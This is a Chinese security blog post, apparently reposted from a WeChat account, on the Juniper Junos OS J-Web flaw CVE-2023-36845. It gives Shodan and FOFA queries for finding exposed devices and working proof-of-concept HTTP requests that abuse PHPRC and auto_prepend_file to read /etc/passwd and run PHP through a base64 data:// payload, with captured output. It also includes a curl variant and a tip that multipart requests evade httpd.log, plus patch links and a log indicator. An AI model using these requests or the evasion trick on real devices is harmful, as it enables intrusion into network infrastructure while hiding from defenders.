烽火狼烟|Juniper Networks Junos OS EX RCE(CVE-2023-36845)漏洞

渗透技巧 1年前 (2023) admin
176 0 0



声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

一、漏洞介绍

Juniper Networks Junos OS EX是美国瞻博网络(Juniper Networks)公司的一套专用于该公司的硬件设备的网络操作系统。该操作系统提供了安全编程接口和Junos SDK。
Juniper Networks Junos OS EX存在安全漏洞,该漏洞源于J-Web模块存在PHP外部变量修改漏洞。允许未经身份验证的网络攻击者控制某些重要的环境变量。攻击者利用特制请求可以修改某个PHP环境变量,造成部分完整性损失,这可能允许链接到其他漏洞。

二、影响版本

1. Juniper Networks Junos OS(SRX 系列):

  • 20.4R3-S8之前的所有版本;

  • 21.1版本21.1R1及以上版本;

  • 21.2R3-S6之前的21.2版本;

  • 21.3R3-S5之前的21.3版本;

  • 21.4R3-S5之前的21.4版本;

  • 22.1R3-S3之前的22.1版本;

  • 22.2R3-S2之前的22.2版本;

  • 22.3R2-S2、22.3R3之前的22.3版本;

  • 22.4R2-S1、22.4R3之前的22.4版本。

2. Juniper Networks Junos OS(EX 系列):

  • 20.4R3-S8之前的所有版本;

  • 21.1版本21.1R1及以上版本;

  • 21.2R3-S6之前的21.2版本;

  • 21.3R3-S5之前的21.3版本;

  • 21.4R3-S4之前的21.4版本;

  • 22.1R3-S3之前的22.1版本;

  • 22.2R3-S1之前的22.2版本;

  • 22.3R2-S2、22.3R3之前的22.3版本;

  • 22.4R2-S1、22.4R3 之前的 22.4 版本。

三、资产搜索

shodan:title:"Juniper" http.favicon.hash:2141724739fofa:title="Juniper" || icon_hash="2141724739"

截图如下:

烽火狼烟|Juniper Networks Junos OS EX RCE(CVE-2023-36845)漏洞


四、漏洞复现

访问漏洞环境:

烽火狼烟|Juniper Networks Junos OS EX RCE(CVE-2023-36845)漏洞

POC 如下:

POST /?PHPRC=/dev/fd/0 HTTP/1.1Host: 127.0.0.1Cache-Control: max-age=0Sec-Ch-Ua: "-Not.A/Brand";v="8", "Chromium";v="102"Sec-Ch-Ua-Mobile: ?0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
auto_prepend_file="/etc/passwd"

烽火狼烟|Juniper Networks Junos OS EX RCE(CVE-2023-36845)漏洞


    当前仅实现了任意文件读取,接下来尝试rce

    PHP 的一个功能,auto_prepend_file,很简单。使用该函数添加提供的文件require。来自php.net的描述:

auto_prepend_file string Specifies the name of a file that is automatically parsed before the main file. The file is included as if it was called with the require function, so include_path is used。
php.net
对于我们的攻击要求,另一个PHP功能与auto_prepend_file很好地配合。该功能为allow_url_include:
  • allow_url_include bool 此选项允许使用具有以下函数的 URL 感知 fopen 包装器:include、include_once、require、require_once。

  • 通过启用allow_url_include,我们可以使用任何带有auto_prepend_file的协议包装器。显而易见的选择是 data:// 以内联方式提供“第二个文件”形式。

以下是执行<?phpinfo();?> 的POC:
POST /?PHPRC=/dev/fd/0 HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Connection: closeCache-Control: max-age=0Sec-Ch-Ua: "-Not.A/Brand";v="8", "Chromium";v="102"Sec-Ch-Ua-Mobile: ?0Upgrade-Insecure-Requests: 1Content-Length: 94
allow_url_include=1auto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="


烽火狼烟|Juniper Networks Junos OS EX RCE(CVE-2023-36845)漏洞

自动化脚本请前往隐侠知识大陆或知识星球获取

烽火狼烟|Juniper Networks Junos OS EX RCE(CVE-2023-36845)漏洞


小技巧Tips

  1. 防火墙是 APT 常见的目标,因为它们有助于桥接受保护的网络,并可以充当 C2 基础设施的有用主机。如果拥有未打补丁的Juniper网络防火墙的站点,都应该检查是否有被入侵的痕迹。httpd.log会包含以下payload部分:httpd:2:POST /?PHPRC=/dev/fd/0 HTTP/1.1

  2. 但是,攻击者可以绕过在 HTTP 标头中包含变量,只是为了方便测试和展示才这么写的poc,真实情况中,可以使用多部分表单数据,当攻击者使用这种形式的攻击时,httpd.log(以及据我们所知的所有其他日志)基本上是无感知的。

$ curl "http://127.0.0.1/" -F $'auto_prepend_file="/etc/passwdn"' -F 'PHPRC=/dev/fd/0'root:*:0:0:Charlie &:/root:/bin/cshdaemon:*:1:1:Owner of many system processes:/root:/sbin/nologinoperator:*:2:5:System &:/:/sbin/nologinbin:*:3:7:Binaries Commands and Source:/:/sbin/nologintty:*:4:65533:Tty Sandbox:/:/sbin/nologinkmem:*:5:65533:KMem Sandbox:/:/sbin/nologingames:*:7:13:Games pseudo-user:/usr/games:/sbin/nologinman:*:9:9:Mister Man Pages:/usr/share/man:/sbin/nologinsshd:*:22:22:Secure Shell Daemon:/var/empty:/sbin/nologinext:*:39:39:External applications:/:/sbin/nologinbind:*:53:53:Bind Sandbox:/:/sbin/nologinuucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/sbin/nologinnobody:*:65534:65534:Unprivileged user:/nonexistent:/sbin/nologin<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>  <head>    <meta http-equiv="Content-Type" content="text/html"/>    <link rel="stylesheet" href="/stylesheet/juniper.css" type="text/css"/>    <title>Log In - Juniper Web Device Manager</title>    <link rel="shortcut icon" href='images/favicon.ico' type="image/x-icon"/>  </head>

四、修复手段

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:将组件 junos 升级至 20.4 及以上版本。

https://supportportal.juniper.net/JSA72300https://packetstormsecurity.com/files/174865/Juniper-SRX-Firewall-EX-Switch-Remote-Code-Execution.html

团队会协助加入帮会的内部成员辅助漏洞挖掘工作,促进内部社群的交流氛围。欢迎各位师傅了解!

内部交流群:

烽火狼烟|Juniper Networks Junos OS EX RCE(CVE-2023-36845)漏洞

关注东方隐侠安全团队 为安全界刮起一股侠客风

        东方隐侠安全团队,一支专业的网络安全团队,将持续为您分享红蓝对抗、病毒研究、安全运营、应急响应等网络安全知识,提供一流网络安全服务,敬请关注!

烽火狼烟|Juniper Networks Junos OS EX RCE(CVE-2023-36845)漏洞


公众号|东方隐侠安全实验室

原文始发于微信公众号(东方隐侠安全实验室):烽火狼烟|Juniper Networks Junos OS EX RCE(CVE-2023-36845)漏洞

版权声明:admin 发表于 2023年10月9日 下午1:00。
转载请注明:烽火狼烟|Juniper Networks Junos OS EX RCE(CVE-2023-36845)漏洞 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...